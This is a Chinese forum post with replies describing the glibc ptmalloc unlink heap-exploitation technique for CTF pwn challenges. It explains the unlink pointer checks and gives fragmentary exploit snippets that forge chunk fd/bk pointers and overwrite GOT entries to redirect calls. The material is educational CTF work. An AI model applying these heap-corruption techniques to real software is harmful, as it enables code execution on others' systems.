首页
社区
课程
招聘
[原创]ctf ptmalloc pwn unlink
发表于: 2018-9-26 15:39 6539

[原创]ctf ptmalloc pwn unlink

2018-9-26 15:39
6539

unlink是CTF中非常常见的一种题型

本文的着重点在于思路,因此并没有完整的去讲解例题,因为网上已经有不少的write up了,所以只是把认为重要的思路点总结了一下。

unlink是在free掉一个chunk的时候,如果与之相邻的chunk是free状态,并且不是投票chunk时,会将chunk从原来的链表中unlink,并触发合并,fast bin并不会触发合并,只有当满足条件触发fast bin合并时,即当申请的chunk大小大于fast bins,在搜素smallbins之前,会将相邻的fastbins chunk合并。

unlink时需要检查chunk的fd指向的chunk的bk是否指向当前chunk,bk指针指向的fd是否指向当前chunk。

unlink最终会实现任意地址写,但写的东西是固定的地址,将fd地址+0x18写为chunk的bk,将bk+0x10写入chunk的fd。如果是个全局变量存储每个chunk的地址,即可通过edit改写全局变量。

CTF题目常见的一种unlink是题目中存在一个全局变量数组,用这个数组存储malloc之后的指针。如此,只要覆盖申请出来的一块chunk的fd为全局变量-0x10,bk为-0x18,这样即可通过检查。

此题存在一个可以无限写的函数,属于最简单的一种unlink,直接通过堆溢出改写chunk结构。

alloc(0x30)#0

alloc(0x80)#1

alloc(0x20)#2

alloc(0x30)#3

alloc(0x40)#4
payload = p64(0x0)+p64(0x30)+p64(example - 0x18)+p64(example - 0x10)

payload += ‘a’*0x10+p64(0x30)+p64(90)

free(1)#

payload = “”

payload += p64(puts_got)+p64(free_got)+p64(atoi_got)

edit(0,‘a’*0x18+payload)

edit(1,p64(puts_plt))

babyheap

alloc(0,‘A’*0x18+p64(0x31))

alloc(1,‘A’*0x18+p64(0x31))

alloc(2,‘A’*0x18+p64(0x31))

free(0)


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 1573
活跃值: (223)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
2
写的比较简陋,只给出了漏洞利用时的代码,具体的过程大家可以自己补充然后调试,也算是一种学习
2018-9-26 16:28
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
3
若能将相关例子一起打包上传就好了
2018-9-26 21:56
0
雪    币: 1573
活跃值: (223)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
4
明天上传一下
2018-9-26 23:36
0
游客
登录 | 注册 方可回帖
返回
//